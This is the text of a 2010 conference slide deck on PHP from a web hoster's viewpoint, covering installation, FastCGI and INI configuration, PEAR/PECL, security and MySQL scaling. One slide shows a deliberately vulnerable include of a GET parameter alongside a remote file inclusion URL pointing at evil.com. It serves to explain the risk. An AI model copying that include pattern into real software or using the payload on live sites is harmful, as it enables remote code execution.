SlideShare une entreprise Scribd logo
1  sur  74
PHP
through
the
eyes
of
a
hoster




Thijs
Feryn
Support
manager
+32
(0)9
218
79
06
thijs@combellgroup.com

PHP
North
West
Conference
Sunday
October
10th
2010
Manchester
UK
About
me




I’m
the
support
manager
at
Combell
About
me




I’m
a
board
member
at
PHPBenelux
About
me


Modest
contribuTons
to:
I
live
in
the
wonderful
city
of
Bruges
    MPBecker
‐
Bruges
by
Night
hXp://www.flickr.com/photos/galverson2/3715965933
Follow
me
on
TwiXer:
@ThijsFeryn

Rate
my
talk:
hXp://joind.in/2064

Read
my
blog:
hXp://blog.feryn.eu
Chapter
I
:
The
hoster,
a
genuine
stakeholder
in
the

PHP
universe
Stakeholders

     Customer                     Development
company

  Endusers     MGMT       Devs       MGMT     Design       PM



  Internal     Internal
     IT          PM       Sales       QA     Systeam    Consultants




                 Hoster       PHP
community
Stakeholders


               Somewhere
along
the
road
...




               Your
app
needs
to
be
hosted
Goals
&
moTves

 Our
goals
&
moTves
are
the
same
as
yours:
 • It
has
to
work
 • It
has
to
perform
 • It
has
to
scale
 • It
has
to
be
secure
 • It
has
to
be
available
Chapter
II:
InstallaTon
&
configuraTon
Installing
from
source

server$
./configure
‐‐prefix=/usr/local/php‐5.2.10

‐‐with‐apxs2=/usr/local/httpd‐2.2.12/bin/apxs
‐‐
with‐zlib
‐‐with‐curl
‐‐with‐gd
‐‐enable‐mbstring

‐‐with‐mysql
‐‐with‐mysqli
‐‐enable‐pcntl
‐‐with‐
pdo‐mysql
‐‐with‐readline
‐‐enable‐soap
‐‐with‐xsl

‐‐with‐mcrypt
‐‐with‐mssql
‐‐with‐snmp
‐‐with‐imap

‐‐with‐kerberos
‐‐with‐imap‐ssl
‐‐with‐config‐
file‐path=/etc/php5/
‐‐enable‐sockets
‐‐with‐
freetype‐dir
‐‐with‐openssl


server$
make

server$
make
install
Installing
using
a
package
manager
(APT/ApTtude)

Install
PHP:
 server$
apt‐get
install
php5


Install
MySQL
library
for
PHP:

 server$
apt‐get
install
php5‐mysql
SAPI
...
schmapi

                      Mod_php           FastCGI           CLI


     Web           Apache
module        gateway            ‐


    Process        Apache
process       php‐cgi          php


 ConfiguraTon       Apache
conf
files     wrapper        on
the
fly


                                      shell
user
or

     User            Apache
user                       shell
user
                                      suexec
user
FastCGI

Example
config:
• Apache
handler
   

<IfModule
mod_fcgid.c>
   



SuexecUserGroup
dev
dev
   



PHP_Fix_Pathinfo_Enable
1
   



<Directory
/var/www/dev/www/>
   





Options
+ExecCGI
   





AllowOverride
All
   





AddHandler
fcgid‐script
.php
   





FCGIWrapper
/var/www/dev/etc/fcgi.wrapper
.php
   





Order
allow,deny
   





Allow
from
all
   



</Directory>
   

</IfModule>
FastCGI

Example
config:
• Wrapper
script
   #!/bin/sh
   PHPRC=/usr/local/php‐5.3.1/etc
   export
PHPRC
   export
PHP_FCGI_MAX_REQUESTS=5000
   export
PHP_FCGI_CHILDREN=8
   exec
/usr/local/php‐5.3.1/bin/php‐cgi
INI
seings:
tales
of
good
&
evil
INI
seings:
tales
of
good
&
evil

Defining
INI
seings:
• Php.ini
• Ini_set()
• “‐d”

• php_value
• php_flag
• php_admin_value
• php_admin_flag
INI
seings:
tales
of
good
&
evil

Memory_limit:


  Fatal
error:
Allowed
memory
size
of
16777216

  bytes
exhausted
(tried
to
allocate
35
bytes)
INI
seings:
tales
of
good
&
evil

Safe_mode
&
Open_basedir:

<IfModule
mod_php5.c>




php_admin_flag
engine
on




php_admin_flag
safe_mode
off




php_admin_value
open_basedir
"/var/www/vhosts/
website.com/httpdocs:/tmp"
</IfModule>
INI
seings:
tales
of
good
&
evil

Allow_url_fopen:

             <?php
             $lang= $_GET['lang'];
             require("$lang.php");


http://domain.ext/index.php?lang=http://evil.com/hack.txt?
Chapter
III:
Versions
&
features
PHP
4:
End
of
life,
but
far
from
dead
PHP
4:
End
of
life,
but
far
from
dead




 Parse
error:
syntax
error,
unexpected
T_STRING,

 expecting
T_OLD_FUNCTION
or
T_FUNCTION
or
T_VAR

 or
'}'
in
test.php
on
line
4
Developers
love
bling
bling
It
HAS
to
be
PHP
5.3.2
!!!
I
need
ALL
PHP
extension
!!!
I
use
ALL
PHP
features
!!!
Fruit
&
vegetables:
PEAR
&
PECL
Fruit
&
vegetables:
PEAR
&
PECL

PEAR
PHP
Extension
and
ApplicaTon
Repository
(h#p//pear.php.net)

 server$
lynx
‐source
http://pear.php.net/go‐pear
|
php

 server$
pear
install
date
Fruit
&
vegetables:
PEAR
&
PECL

PECL
(pickle)
PHP
Extension
Community
Library
(h#p//pecl.php.net)




       server$
pecl
install
pecl_http
External
frameworks


    Popular
frameworks
outside
the
PHP
project
Chapter
IV:
PHP
aXracts
a
crowd
It’s
easy
!
That
easy
!




              <?php
              echo "Hello world!";
It’s
cheap
!
It’s
stable
!
Everyone
can
be
a
PHP
developer
But
not
everyone
has
what
it
takes
Luckily
there’s
a
lot
ready‐to‐use
PHP
sooware
out
there
Who
you
gonna
call
?
But
when
helpers
need
help
...
They
reach
out
to
the
PHP
community

                                 User
Group
meeTngs




        TwiXer                               Blogs
                                  Forums
                 PHP.net



                 IRC           Conferences
Chapter
V:
Here
be
phpirates
Here
be
phpirates
Fact




 “The
majority
of
hacking/absue
cases
are
PHP
related”
False
assumpTons

                             “Open
source
is
evil”




“PHP
has
lots
of
security
vulnerabiliTes
and
is
not
mature”
Here
be
phpirates



The
real
issues
• Quality
of
the
code
• Network
&
server
security
• PHP
version
&
configuraTon
ResponsibiliTes
Chapter
VI:
Scalability
Performance
==
speed
Scalability
==
constant
speed
under
increasing
load
Scaling
up
Scaling
out
Developers
(some2mes)
forget
...
Scaling
MySQL
mysql>
explain
SELECT
field1,
(SELECT
COUNT(*)
FROM
table2
WHERE
field3
=

table1.id)
FROM
table1
WHERE
field2
=
1

ORDER
BY
field4
DESC
limit

12,12;

***************************
1.
row
***************************











id:
1


select_type:
PRIMARY








table:
table1









type:
ALL
possible_keys:
approved










key:
approved






key_len:
NULL










ref:
NULL









rows:
3143








Extra:
Using
where;
Using
filesort
***************************
2.
row
***************************











id:
2


select_type:
DEPENDENT
SUBQUERY








table:
table2









type:
ALL
possible_keys:
NULL










key:
NULL






key_len:
NULL










ref:
NULL









rows:
1005








Extra:
Using
where
mysql>
show
processlist;
+‐‐‐‐‐‐‐+‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐‐‐+‐‐‐‐+‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐
+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+
|
Id



|
User
|
Host





|
db
|
Command
|
Time
|
State















|
Info




|
+‐‐‐‐‐‐‐+‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐‐‐+‐‐‐‐+‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐
+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+
|
63515
|
root
|
localhost
|
db
|
Query


|



0
|
NULL
















|
show

processlist































|
|
81763
|
root
|
localhost
|
db
|
Sleep


|

105
|





















|
NULL




|
|
85187
|
root
|
localhost
|
db
|
Query


|



0
|
Sending
data








|
SELECT

data
from
someTable
where
field
=
'val'

|
|
82701
|
root
|
localhost
|
db
|
Query


|



0
|
Copying
to
tmp
table
|
SELECT

data
from
someTable
where
field='val2'


|
|
82709
|
root
|
localhost
|
db
|
Query


|



0
|
Sorting
result






|
SELECT

data
from
someTable
where
order
by
field
|
|
82716
|
root
|
localhost
|
db
|
Query


|



0
|
Opening
tables






|
SELECT

data
from
someOtherTable
















|
+‐‐‐‐‐‐‐+‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐‐‐+‐‐‐‐+‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐
+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+
Scaling
MySQL
with
replicaTon
PHP
scalability
toolbox
Memcached
Gearman
Varnish
Summary
Summary

1.Hosters
are
a
genuine
stakeholder
in
the
PHP
universe
2.PHP
is
highly
flexible
&
configurable.
Hosters
have
to
ensure
a
decent

  setup
3.PHP
has
a
lot
to
offer
feature‐wise
4.PHP
aXracts
a
crowd
and
brings
a
lot
of
people
together
from

  different
industries
(e.g.
hosters)
5.Lots
of
abuse
cases
are
PHP
related,
but
that’s
not
the
fault
of
PHP

  itself
6.PHP
itself
doesn’t
scale
*that*
well,
but
is
flexible
enough
to
ensure

  scalability
via
extra
tools
Q&A
Php through the eyes of a hoster: PHPNW10

Contenu connexe

Tendances

PHP - History, Introduction, Summary, Extensions and Frameworks
PHP - History, Introduction, Summary, Extensions and FrameworksPHP - History, Introduction, Summary, Extensions and Frameworks
PHP - History, Introduction, Summary, Extensions and Frameworks
Royston Olivera
 
Getting started with Catalyst and extjs
Getting started with Catalyst and extjsGetting started with Catalyst and extjs
Getting started with Catalyst and extjs
Peter Edwards
 
Top 100 PHP Questions and Answers
Top 100 PHP Questions and AnswersTop 100 PHP Questions and Answers
Top 100 PHP Questions and Answers
iimjobs and hirist
 
Rooting your internals - Exploiting Internal Network Vulns via the Browser Us...
Rooting your internals - Exploiting Internal Network Vulns via the Browser Us...Rooting your internals - Exploiting Internal Network Vulns via the Browser Us...
Rooting your internals - Exploiting Internal Network Vulns via the Browser Us...
Michele Orru
 

Tendances (20)

01 Php Introduction
01 Php Introduction01 Php Introduction
01 Php Introduction
 
Advantages of Choosing PHP Web Development
Advantages of Choosing PHP Web DevelopmentAdvantages of Choosing PHP Web Development
Advantages of Choosing PHP Web Development
 
PHP - History, Introduction, Summary, Extensions and Frameworks
PHP - History, Introduction, Summary, Extensions and FrameworksPHP - History, Introduction, Summary, Extensions and Frameworks
PHP - History, Introduction, Summary, Extensions and Frameworks
 
Advanced PHP Web Development Tools in 2015
Advanced PHP Web Development Tools in 2015Advanced PHP Web Development Tools in 2015
Advanced PHP Web Development Tools in 2015
 
Php Dependency Management with Composer ZendCon 2016
Php Dependency Management with Composer ZendCon 2016Php Dependency Management with Composer ZendCon 2016
Php Dependency Management with Composer ZendCon 2016
 
Php
PhpPhp
Php
 
Getting started with Catalyst and extjs
Getting started with Catalyst and extjsGetting started with Catalyst and extjs
Getting started with Catalyst and extjs
 
PHP programmimg
PHP programmimgPHP programmimg
PHP programmimg
 
Top 100 PHP Questions and Answers
Top 100 PHP Questions and AnswersTop 100 PHP Questions and Answers
Top 100 PHP Questions and Answers
 
Practical catalyst
Practical catalystPractical catalyst
Practical catalyst
 
Zend expressive workshop
Zend expressive workshopZend expressive workshop
Zend expressive workshop
 
Dynamic Web Programming
Dynamic Web ProgrammingDynamic Web Programming
Dynamic Web Programming
 
Php internal architecture
Php internal architecturePhp internal architecture
Php internal architecture
 
Best Practices in PHP Application Deployment
Best Practices in PHP Application DeploymentBest Practices in PHP Application Deployment
Best Practices in PHP Application Deployment
 
Rooting your internals - Exploiting Internal Network Vulns via the Browser Us...
Rooting your internals - Exploiting Internal Network Vulns via the Browser Us...Rooting your internals - Exploiting Internal Network Vulns via the Browser Us...
Rooting your internals - Exploiting Internal Network Vulns via the Browser Us...
 
PHP, PHP Developer, Hire PHP Developer, PHP Web Development, Hire PHP Program...
PHP, PHP Developer, Hire PHP Developer, PHP Web Development, Hire PHP Program...PHP, PHP Developer, Hire PHP Developer, PHP Web Development, Hire PHP Program...
PHP, PHP Developer, Hire PHP Developer, PHP Web Development, Hire PHP Program...
 
Overview of PHP and MYSQL
Overview of PHP and MYSQLOverview of PHP and MYSQL
Overview of PHP and MYSQL
 
XDebug For php debugging
XDebug For php debuggingXDebug For php debugging
XDebug For php debugging
 
php
phpphp
php
 
Php introduction
Php introductionPhp introduction
Php introduction
 

En vedette

Cessez de presser le citron – gérez la capacité pour atteindre vos résultats
Cessez de presser le citron – gérez la capacité pour atteindre vos résultatsCessez de presser le citron – gérez la capacité pour atteindre vos résultats
Cessez de presser le citron – gérez la capacité pour atteindre vos résultats
PMI-Montréal
 
Deming to Devops
Deming to Devops Deming to Devops
Deming to Devops
John Willis
 
LISA 2011 Keynote: The DevOps Transformation
LISA 2011 Keynote: The DevOps TransformationLISA 2011 Keynote: The DevOps Transformation
LISA 2011 Keynote: The DevOps Transformation
benrockwood
 
Conte \"La Castanyera\"
Conte \"La Castanyera\"Conte \"La Castanyera\"
Conte \"La Castanyera\"
Veronicavm
 
The Tragic Story of Mohenjo-Daro
The Tragic Story of Mohenjo-DaroThe Tragic Story of Mohenjo-Daro
The Tragic Story of Mohenjo-Daro
Mrs. McCabe
 
Think innovation issue 4 share - scamper
Think innovation issue 4   share - scamperThink innovation issue 4   share - scamper
Think innovation issue 4 share - scamper
ThinkInnovation
 

En vedette (20)

Cessez de presser le citron – gérez la capacité pour atteindre vos résultats
Cessez de presser le citron – gérez la capacité pour atteindre vos résultatsCessez de presser le citron – gérez la capacité pour atteindre vos résultats
Cessez de presser le citron – gérez la capacité pour atteindre vos résultats
 
La valeur d’affaires: L’indicateur qui peut changer le succès des projets
La valeur d’affaires: L’indicateur qui peut changer le succès des projetsLa valeur d’affaires: L’indicateur qui peut changer le succès des projets
La valeur d’affaires: L’indicateur qui peut changer le succès des projets
 
Deming to Devops
Deming to Devops Deming to Devops
Deming to Devops
 
Continuous Security: 5 Ways DevOps Improves Security
Continuous Security: 5 Ways DevOps Improves SecurityContinuous Security: 5 Ways DevOps Improves Security
Continuous Security: 5 Ways DevOps Improves Security
 
ProjectLibre1.5 - Lesson 5 - Reports
ProjectLibre1.5 - Lesson 5 - ReportsProjectLibre1.5 - Lesson 5 - Reports
ProjectLibre1.5 - Lesson 5 - Reports
 
Stop to start
Stop to startStop to start
Stop to start
 
LISA 2011 Keynote: The DevOps Transformation
LISA 2011 Keynote: The DevOps TransformationLISA 2011 Keynote: The DevOps Transformation
LISA 2011 Keynote: The DevOps Transformation
 
From Continuous Integration to DevOps - Japan Innovate 2013
From Continuous Integration to DevOps - Japan Innovate 2013From Continuous Integration to DevOps - Japan Innovate 2013
From Continuous Integration to DevOps - Japan Innovate 2013
 
Blend Elearning Real World
Blend Elearning Real WorldBlend Elearning Real World
Blend Elearning Real World
 
Skimtns by 142
Skimtns by 142Skimtns by 142
Skimtns by 142
 
Carolines Presentaion
Carolines PresentaionCarolines Presentaion
Carolines Presentaion
 
Lista Unitária de Ordenação Final Horário nº 29- Grupo de recrutamento de cód...
Lista Unitária de Ordenação Final Horário nº 29- Grupo de recrutamento de cód...Lista Unitária de Ordenação Final Horário nº 29- Grupo de recrutamento de cód...
Lista Unitária de Ordenação Final Horário nº 29- Grupo de recrutamento de cód...
 
Drinking From The Firehose
Drinking From The FirehoseDrinking From The Firehose
Drinking From The Firehose
 
Purdue Research And The Internet
Purdue Research And The InternetPurdue Research And The Internet
Purdue Research And The Internet
 
Liberarci dalle Spine
Liberarci dalle SpineLiberarci dalle Spine
Liberarci dalle Spine
 
Semicolon Cautions
Semicolon CautionsSemicolon Cautions
Semicolon Cautions
 
Conte \"La Castanyera\"
Conte \"La Castanyera\"Conte \"La Castanyera\"
Conte \"La Castanyera\"
 
Get Out Of Your Cube Evo Terra
Get Out Of Your Cube Evo TerraGet Out Of Your Cube Evo Terra
Get Out Of Your Cube Evo Terra
 
The Tragic Story of Mohenjo-Daro
The Tragic Story of Mohenjo-DaroThe Tragic Story of Mohenjo-Daro
The Tragic Story of Mohenjo-Daro
 
Think innovation issue 4 share - scamper
Think innovation issue 4   share - scamperThink innovation issue 4   share - scamper
Think innovation issue 4 share - scamper
 

Similaire à Php through the eyes of a hoster: PHPNW10

Php through the eyes of a hoster phpbnl11
Php through the eyes of a hoster phpbnl11Php through the eyes of a hoster phpbnl11
Php through the eyes of a hoster phpbnl11
Combell NV
 
2013 - Dustin whittle - Escalando PHP en la vida real
2013 - Dustin whittle - Escalando PHP en la vida real2013 - Dustin whittle - Escalando PHP en la vida real
2013 - Dustin whittle - Escalando PHP en la vida real
PHP Conference Argentina
 
Php Inside - confoo 2011 - Derick Rethans
Php Inside -  confoo 2011 - Derick RethansPhp Inside -  confoo 2011 - Derick Rethans
Php Inside - confoo 2011 - Derick Rethans
Bachkoutou Toutou
 

Similaire à Php through the eyes of a hoster: PHPNW10 (20)

Php through the eyes of a hoster phpbnl11
Php through the eyes of a hoster phpbnl11Php through the eyes of a hoster phpbnl11
Php through the eyes of a hoster phpbnl11
 
Php through the eyes of a hoster
Php through the eyes of a hosterPhp through the eyes of a hoster
Php through the eyes of a hoster
 
Php through the eyes of a hoster confoo
Php through the eyes of a hoster confooPhp through the eyes of a hoster confoo
Php through the eyes of a hoster confoo
 
Php through the eyes of a hoster pbc10
Php through the eyes of a hoster pbc10Php through the eyes of a hoster pbc10
Php through the eyes of a hoster pbc10
 
Northeast PHP - High Performance PHP
Northeast PHP - High Performance PHPNortheast PHP - High Performance PHP
Northeast PHP - High Performance PHP
 
PHP - Programming language war, does it matter
PHP - Programming language war, does it matterPHP - Programming language war, does it matter
PHP - Programming language war, does it matter
 
Is your code ready for PHP 7 ?
Is your code ready for PHP 7 ?Is your code ready for PHP 7 ?
Is your code ready for PHP 7 ?
 
Effizientere WordPress-Plugin-Entwicklung mit Softwaretests
Effizientere WordPress-Plugin-Entwicklung mit SoftwaretestsEffizientere WordPress-Plugin-Entwicklung mit Softwaretests
Effizientere WordPress-Plugin-Entwicklung mit Softwaretests
 
2013 - Dustin whittle - Escalando PHP en la vida real
2013 - Dustin whittle - Escalando PHP en la vida real2013 - Dustin whittle - Escalando PHP en la vida real
2013 - Dustin whittle - Escalando PHP en la vida real
 
The why and how of moving to php 8
The why and how of moving to php 8The why and how of moving to php 8
The why and how of moving to php 8
 
PHP Frameworks and CodeIgniter
PHP Frameworks and CodeIgniterPHP Frameworks and CodeIgniter
PHP Frameworks and CodeIgniter
 
Simplify your professional web development with symfony
Simplify your professional web development with symfonySimplify your professional web development with symfony
Simplify your professional web development with symfony
 
Php Inside - confoo 2011 - Derick Rethans
Php Inside -  confoo 2011 - Derick RethansPhp Inside -  confoo 2011 - Derick Rethans
Php Inside - confoo 2011 - Derick Rethans
 
Expressive Microservice Framework Blastoff
Expressive Microservice Framework BlastoffExpressive Microservice Framework Blastoff
Expressive Microservice Framework Blastoff
 
Php myadmin
Php myadminPhp myadmin
Php myadmin
 
PHP and FastCGI Performance Optimizations
PHP and FastCGI Performance OptimizationsPHP and FastCGI Performance Optimizations
PHP and FastCGI Performance Optimizations
 
MVC = Make Venerated Code?
MVC = Make Venerated Code?MVC = Make Venerated Code?
MVC = Make Venerated Code?
 
Php7 extensions workshop
Php7 extensions workshopPhp7 extensions workshop
Php7 extensions workshop
 
Php Frameworks
Php FrameworksPhp Frameworks
Php Frameworks
 
Joomla Code Quality Control and Automation Testing
Joomla Code Quality Control and Automation TestingJoomla Code Quality Control and Automation Testing
Joomla Code Quality Control and Automation Testing
 

Plus de Combell NV

2012 03-27 developers e-commercedag presentatie5 ssl
2012 03-27 developers e-commercedag presentatie5 ssl2012 03-27 developers e-commercedag presentatie5 ssl
2012 03-27 developers e-commercedag presentatie5 ssl
Combell NV
 
2012 03-27 developers e-commercedag presentatie2 drupal
2012 03-27 developers e-commercedag presentatie2 drupal2012 03-27 developers e-commercedag presentatie2 drupal
2012 03-27 developers e-commercedag presentatie2 drupal
Combell NV
 
2012 03-27 developers e-commercedag presentatie1 magento
2012 03-27 developers e-commercedag presentatie1 magento2012 03-27 developers e-commercedag presentatie1 magento
2012 03-27 developers e-commercedag presentatie1 magento
Combell NV
 
2012 03-27 developers e-commercedag presentatie4 ogone
2012 03-27 developers e-commercedag presentatie4 ogone2012 03-27 developers e-commercedag presentatie4 ogone
2012 03-27 developers e-commercedag presentatie4 ogone
Combell NV
 
2012 02-07 sql denali presentatie microsoft
2012 02-07 sql denali presentatie microsoft2012 02-07 sql denali presentatie microsoft
2012 02-07 sql denali presentatie microsoft
Combell NV
 

Plus de Combell NV (20)

Play it extra safe! Kies een goede cyberverzekering
Play it extra safe! Kies een goede cyberverzekeringPlay it extra safe! Kies een goede cyberverzekering
Play it extra safe! Kies een goede cyberverzekering
 
Hoe gebruik je het resellerplatform als partner van Combell
Hoe gebruik je het resellerplatform als partner van CombellHoe gebruik je het resellerplatform als partner van Combell
Hoe gebruik je het resellerplatform als partner van Combell
 
Managed WordPress bij Combell – wat doet dat precies?
Managed WordPress bij Combell – wat doet dat precies?Managed WordPress bij Combell – wat doet dat precies?
Managed WordPress bij Combell – wat doet dat precies?
 
Back-ups: Hoe ze je kunnen redden van een cyberaanval
Back-ups: Hoe ze je kunnen redden van een cyberaanvalBack-ups: Hoe ze je kunnen redden van een cyberaanval
Back-ups: Hoe ze je kunnen redden van een cyberaanval
 
Cyberaanvallen: Overzicht, gevolgen en beveiligingstips
Cyberaanvallen: Overzicht, gevolgen en beveiligingstipsCyberaanvallen: Overzicht, gevolgen en beveiligingstips
Cyberaanvallen: Overzicht, gevolgen en beveiligingstips
 
Hoe gebruik je het resellerplatform als partner van Combell
Hoe gebruik je het resellerplatform als partner van CombellHoe gebruik je het resellerplatform als partner van Combell
Hoe gebruik je het resellerplatform als partner van Combell
 
Hoe laat je jouw website scoren in zoekmachines zoals Google
Hoe laat je jouw website scoren in zoekmachines zoals GoogleHoe laat je jouw website scoren in zoekmachines zoals Google
Hoe laat je jouw website scoren in zoekmachines zoals Google
 
Een webshop bouwen in WooCommerce – advanced sessie
Een webshop bouwen in WooCommerce – advanced sessieEen webshop bouwen in WooCommerce – advanced sessie
Een webshop bouwen in WooCommerce – advanced sessie
 
Hoe start je een webshop met WordPress / WooCommerce
Hoe start je een webshop met WordPress / WooCommerceHoe start je een webshop met WordPress / WooCommerce
Hoe start je een webshop met WordPress / WooCommerce
 
Keeping the cloud in check cvodmd
Keeping the cloud in check cvodmdKeeping the cloud in check cvodmd
Keeping the cloud in check cvodmd
 
Hybrid cloud wiskyweb2012
Hybrid cloud wiskyweb2012Hybrid cloud wiskyweb2012
Hybrid cloud wiskyweb2012
 
2012 03-27 developers e-commercedag presentatie5 ssl
2012 03-27 developers e-commercedag presentatie5 ssl2012 03-27 developers e-commercedag presentatie5 ssl
2012 03-27 developers e-commercedag presentatie5 ssl
 
2012 03-27 developers e-commercedag presentatie2 drupal
2012 03-27 developers e-commercedag presentatie2 drupal2012 03-27 developers e-commercedag presentatie2 drupal
2012 03-27 developers e-commercedag presentatie2 drupal
 
2012 03-27 developers e-commercedag presentatie1 magento
2012 03-27 developers e-commercedag presentatie1 magento2012 03-27 developers e-commercedag presentatie1 magento
2012 03-27 developers e-commercedag presentatie1 magento
 
2012 03-27 developers e-commercedag presentatie4 ogone
2012 03-27 developers e-commercedag presentatie4 ogone2012 03-27 developers e-commercedag presentatie4 ogone
2012 03-27 developers e-commercedag presentatie4 ogone
 
10 doe-het-zelf tips om aan e-commerce te doen
10 doe-het-zelf tips om aan e-commerce te doen10 doe-het-zelf tips om aan e-commerce te doen
10 doe-het-zelf tips om aan e-commerce te doen
 
Develop and deploy using Hybrid Cloud Strategies confoo2012
Develop and deploy using Hybrid Cloud Strategies confoo2012Develop and deploy using Hybrid Cloud Strategies confoo2012
Develop and deploy using Hybrid Cloud Strategies confoo2012
 
Hybrid Cloud PHPUK2012
Hybrid Cloud PHPUK2012Hybrid Cloud PHPUK2012
Hybrid Cloud PHPUK2012
 
2012 02-07 sql denali presentatie microsoft
2012 02-07 sql denali presentatie microsoft2012 02-07 sql denali presentatie microsoft
2012 02-07 sql denali presentatie microsoft
 
11 tips om in de Cloud te raken en er niet uit te vallen
11 tips om in de Cloud te raken en er niet uit te vallen11 tips om in de Cloud te raken en er niet uit te vallen
11 tips om in de Cloud te raken en er niet uit te vallen
 

Dernier

Artificial Intelligence: Facts and Myths
Artificial Intelligence: Facts and MythsArtificial Intelligence: Facts and Myths
Artificial Intelligence: Facts and Myths
Joaquim Jorge
 
+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...
+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...
+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...
?#DUbAI#??##{{(☎️+971_581248768%)**%*]'#abortion pills for sale in dubai@
 

Dernier (20)

Connector Corner: Accelerate revenue generation using UiPath API-centric busi...
Connector Corner: Accelerate revenue generation using UiPath API-centric busi...Connector Corner: Accelerate revenue generation using UiPath API-centric busi...
Connector Corner: Accelerate revenue generation using UiPath API-centric busi...
 
Artificial Intelligence Chap.5 : Uncertainty
Artificial Intelligence Chap.5 : UncertaintyArtificial Intelligence Chap.5 : Uncertainty
Artificial Intelligence Chap.5 : Uncertainty
 
Strategize a Smooth Tenant-to-tenant Migration and Copilot Takeoff
Strategize a Smooth Tenant-to-tenant Migration and Copilot TakeoffStrategize a Smooth Tenant-to-tenant Migration and Copilot Takeoff
Strategize a Smooth Tenant-to-tenant Migration and Copilot Takeoff
 
Artificial Intelligence: Facts and Myths
Artificial Intelligence: Facts and MythsArtificial Intelligence: Facts and Myths
Artificial Intelligence: Facts and Myths
 
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...
 
A Domino Admins Adventures (Engage 2024)
A Domino Admins Adventures (Engage 2024)A Domino Admins Adventures (Engage 2024)
A Domino Admins Adventures (Engage 2024)
 
Workshop - Best of Both Worlds_ Combine KG and Vector search for enhanced R...
Workshop - Best of Both Worlds_ Combine  KG and Vector search for  enhanced R...Workshop - Best of Both Worlds_ Combine  KG and Vector search for  enhanced R...
Workshop - Best of Both Worlds_ Combine KG and Vector search for enhanced R...
 
🐬 The future of MySQL is Postgres 🐘
🐬  The future of MySQL is Postgres   🐘🐬  The future of MySQL is Postgres   🐘
🐬 The future of MySQL is Postgres 🐘
 
ProductAnonymous-April2024-WinProductDiscovery-MelissaKlemke
ProductAnonymous-April2024-WinProductDiscovery-MelissaKlemkeProductAnonymous-April2024-WinProductDiscovery-MelissaKlemke
ProductAnonymous-April2024-WinProductDiscovery-MelissaKlemke
 
presentation ICT roal in 21st century education
presentation ICT roal in 21st century educationpresentation ICT roal in 21st century education
presentation ICT roal in 21st century education
 
Exploring the Future Potential of AI-Enabled Smartphone Processors
Exploring the Future Potential of AI-Enabled Smartphone ProcessorsExploring the Future Potential of AI-Enabled Smartphone Processors
Exploring the Future Potential of AI-Enabled Smartphone Processors
 
Polkadot JAM Slides - Token2049 - By Dr. Gavin Wood
Polkadot JAM Slides - Token2049 - By Dr. Gavin WoodPolkadot JAM Slides - Token2049 - By Dr. Gavin Wood
Polkadot JAM Slides - Token2049 - By Dr. Gavin Wood
 
Boost PC performance: How more available memory can improve productivity
Boost PC performance: How more available memory can improve productivityBoost PC performance: How more available memory can improve productivity
Boost PC performance: How more available memory can improve productivity
 
Partners Life - Insurer Innovation Award 2024
Partners Life - Insurer Innovation Award 2024Partners Life - Insurer Innovation Award 2024
Partners Life - Insurer Innovation Award 2024
 
From Event to Action: Accelerate Your Decision Making with Real-Time Automation
From Event to Action: Accelerate Your Decision Making with Real-Time AutomationFrom Event to Action: Accelerate Your Decision Making with Real-Time Automation
From Event to Action: Accelerate Your Decision Making with Real-Time Automation
 
2024: Domino Containers - The Next Step. News from the Domino Container commu...
2024: Domino Containers - The Next Step. News from the Domino Container commu...2024: Domino Containers - The Next Step. News from the Domino Container commu...
2024: Domino Containers - The Next Step. News from the Domino Container commu...
 
+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...
+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...
+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...
 
MINDCTI Revenue Release Quarter One 2024
MINDCTI Revenue Release Quarter One 2024MINDCTI Revenue Release Quarter One 2024
MINDCTI Revenue Release Quarter One 2024
 
Apidays New York 2024 - Scaling API-first by Ian Reasor and Radu Cotescu, Adobe
Apidays New York 2024 - Scaling API-first by Ian Reasor and Radu Cotescu, AdobeApidays New York 2024 - Scaling API-first by Ian Reasor and Radu Cotescu, Adobe
Apidays New York 2024 - Scaling API-first by Ian Reasor and Radu Cotescu, Adobe
 
Data Cloud, More than a CDP by Matt Robison
Data Cloud, More than a CDP by Matt RobisonData Cloud, More than a CDP by Matt Robison
Data Cloud, More than a CDP by Matt Robison
 

Php through the eyes of a hoster: PHPNW10

Notes de l'éditeur

  1. 5 minuten
  2. 10 minuten
  3. 20 minuten
  4. 25 minuten
  5. 35 minuten
  6. 40 minuten